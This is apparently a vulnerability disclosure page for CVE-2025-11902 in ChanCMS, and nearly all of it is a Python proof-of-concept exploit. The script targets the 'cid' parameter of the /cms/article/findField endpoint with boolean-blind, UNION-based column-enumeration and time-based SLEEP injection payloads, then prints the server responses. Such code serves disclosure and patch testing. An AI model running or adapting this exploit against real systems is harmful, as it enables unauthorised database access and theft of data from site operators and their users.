CVE-2025-11902：ChanCMS findField接口SQL注入漏洞

# CVE-2025-11902 ChanCMS findField SQL Injection PoC # Vulnerability: SQL Injection via 'cid' parameter in /cms/article/findField # Affected: ChanCMS <= 3.3.2 # Author: NarcherAlter import requests TARGET_URL = "http://target.com/cms/article/findField" def exploit_sql_injection(target_url, cid_payload): """ Exploit SQL injection in the 'cid' parameter of findField endpoint. """ # Basic SQL injection payload using UNION-based technique payload = cid_payload params = { "cid": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Body:\n{response.text[:2000]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def boolean_based_blind_sqli(target_url): """ Boolean-based blind SQL injection to extract database version. """ # Payload to test boolean-based blind injection payload = "1' AND 1=1-- -" # True condition resp_true = exploit_sql_injection(target_url, payload) payload = "1' AND 1=2-- -" # False condition resp_false = exploit_sql_injection(target_url, payload) if resp_true and resp_false: if len(resp_true.text) != len(resp_false.text): print("[+] Target is vulnerable to boolean-based blind SQL injection!") return True print("[-] Target may not be vulnerable or responses are identical.") return False def union_based_sqli(target_url): """ UNION-based SQL injection to extract data. """ # Determine number of columns first for i in range(1, 15): cols = ",".join([str(j) for j in range(1, i+1)]) payload = f"-1' UNION SELECT {cols}-- -" resp = exploit_sql_injection(target_url, payload) if resp and resp.status_code == 200 and "error" not in resp.text.lower(): print(f"[+] Number of columns: {i}") break def time_based_blind_sqli(target_url): """ Time-based blind SQL injection. """ import time payload = "1' AND SLEEP(5)-- -" start = time.time() exploit_sql_injection(target_url, payload) elapsed = time.time() - start if elapsed >= 5: print("[+] Target is vulnerable to time-based blind SQL injection!") return True return False if __name__ == "__main__": print(f"[*] Testing CVE-2025-11902 against {TARGET_URL}") print("[*] Test 1: Boolean-based blind SQL injection") boolean_based_blind_sqli(TARGET_URL) print("\n[*] Test 2: UNION-based SQL injection") union_based_sqli(TARGET_URL) print("\n[*] Test 3: Time-based blind SQL injection") time_based_blind_sqli(TARGET_URL)